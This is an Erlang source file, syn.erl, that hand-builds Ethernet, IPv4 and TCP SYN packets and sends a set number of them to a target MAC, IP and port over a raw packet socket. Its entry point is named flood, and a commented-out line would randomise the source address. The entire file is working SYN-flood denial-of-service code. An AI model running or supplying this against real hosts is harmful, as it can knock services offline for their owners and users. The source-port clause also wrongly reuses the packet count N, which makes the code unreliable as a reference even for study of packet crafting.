syn.erl

%% Copyright (c) 2010, Michael Santos <[email protected]>
%% All rights reserved.
%%
%% Redistribution and use in source and binary forms, with or without
%% modification, are permitted provided that the following conditions
%% are met:
%%
%% Redistributions of source code must retain the above copyright
%% notice, this list of conditions and the following disclaimer.
%%
%% Redistributions in binary form must reproduce the above copyright
%% notice, this list of conditions and the following disclaimer in the
%% documentation and/or other materials provided with the distribution.
%%
%% Neither the name of the author nor the names of its contributors
%% may be used to endorse or promote products derived from this software
%% without specific prior written permission.
%%
%% THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
%% "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
%% LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS
%% FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
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%% INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,
%% BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
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%% POSSIBILITY OF SUCH DAMAGE.
-module(syn).
-export([
        flood/0,
        flood/4
    ]).

-record(state, {
        s,          % socket
        i,          % ifindex
        n,          % number of SYN's to send

        shost,     % Source MAC address
        dhost,     % Destination MAC address

        saddr,     % Source IP Address
        daddr,     % Destination IP Address

        sport,     % source port 
        dport      % desintation port 
    }).


flood() ->
    flood(
        "ath0",
        % Source
        {{16#00,16#15,16#af,16#59,16#08,16#26}, {192,168,213,213}, 0},

        % Destination
        {{16#00,16#16,16#3E,16#E9,16#04,16#06}, {192,168,213,7}, 8080},

        % Number of SYN's to send
        10
    ).

flood(Device, {SrcMac, SrcIP, SrcPort}, {DstMac, DstIP, DstPort}, N) when length(Device) < 16 ->
    crypto:start(),

    {ok, FD} = packet:socket(),
    Interface = packet:ifindex(FD, Device),

    prepare(#state{
            s = FD,
            i = Interface,
            n = N,

            shost = SrcMac,
            dhost = DstMac,

            saddr = SrcIP,
            daddr = DstIP,

            sport = SrcPort,
            dport = DstPort
        }).

prepare(
    #state{
        s = Socket,
        i = Ifindex,
        n = N,

        shost = {SM1,SM2,SM3,SM4,SM5,SM6},
        dhost = {DM1,DM2,DM3,DM4,DM5,DM6},

        saddr = {SA1,SA2,SA3,SA4},
        daddr = {DA1,DA2,DA3,DA4},

        sport = SP,
        dport = DP
    } = State
) when N > 0 ->

    Id = 0,
    TTL = 64,

    %SA4 = crypto:rand_uniform(1,254),

    IPLen = 40,
    IPsum = packet:makesum(
        <<
        % IPv4 header
        4:4, 5:4, 0:8, IPLen:16,
        Id:16, 0:1, 1:1, 0:1,
        0:13, TTL:8, 6:8, 0:16,
        SA1:8, SA2:8, SA3:8, SA4:8,
        DA1:8, DA2:8, DA3:8, DA4:8
        >>
    ),

    TCPoff = 5,
    SeqNo = crypto:rand_uniform(0,16#FFFFFFFF),
    Win = 1024,
    PSH = 0,
    SPort = case SP of
        0 -> crypto:rand_uniform(0,16#FFFF);
        N -> N
    end,
    TCPsum = packet:makesum(
                <<
                % IP Pseudoheader
                SA1:8,SA2:8,SA3:8,SA4:8,
                DA1:8,DA2:8,DA3:8,DA4:8,
                0:8,
                6:8,                % Protocol: TCP
                (TCPoff * 4):16,

                % TCP Header
                SPort:16, DP:16,
                SeqNo:32,
                0:32,
                TCPoff:4, 0:4, 0:1, 0:1, 0:1, 0:1,
                PSH:1, 0:1, 1:1, 0:1, Win:16,
                0:16, 0:16
                >>
            ),

    packet:send(Socket, Ifindex, <<
    % Ethernet header
    DM1,DM2,DM3,DM4,DM5,DM6,
    SM1,SM2,SM3,SM4,SM5,SM6,
    16#08, 16#00,

    % IPv4 header
    4:4, 5:4, 0:8, IPLen:16,
    Id:16, 0:1, 1:1, 0:1,
    0:13, TTL:8, 6:8, IPsum:16,
    SA1:8, SA2:8, SA3:8, SA4:8,
    DA1:8, DA2:8, DA3:8, DA4:8,

    % TCP header
    SPort:16, DP:16,
    SeqNo:32,
    0:32,
    TCPoff:4, 0:4, 0:1, 0:1, 0:1, 0:1,
    PSH:1, 0:1, 1:1, 0:1, Win:16,
    TCPsum:16, 0:16
    >>),
    prepare(State#state{n = N - 1});
prepare(_) -> ok.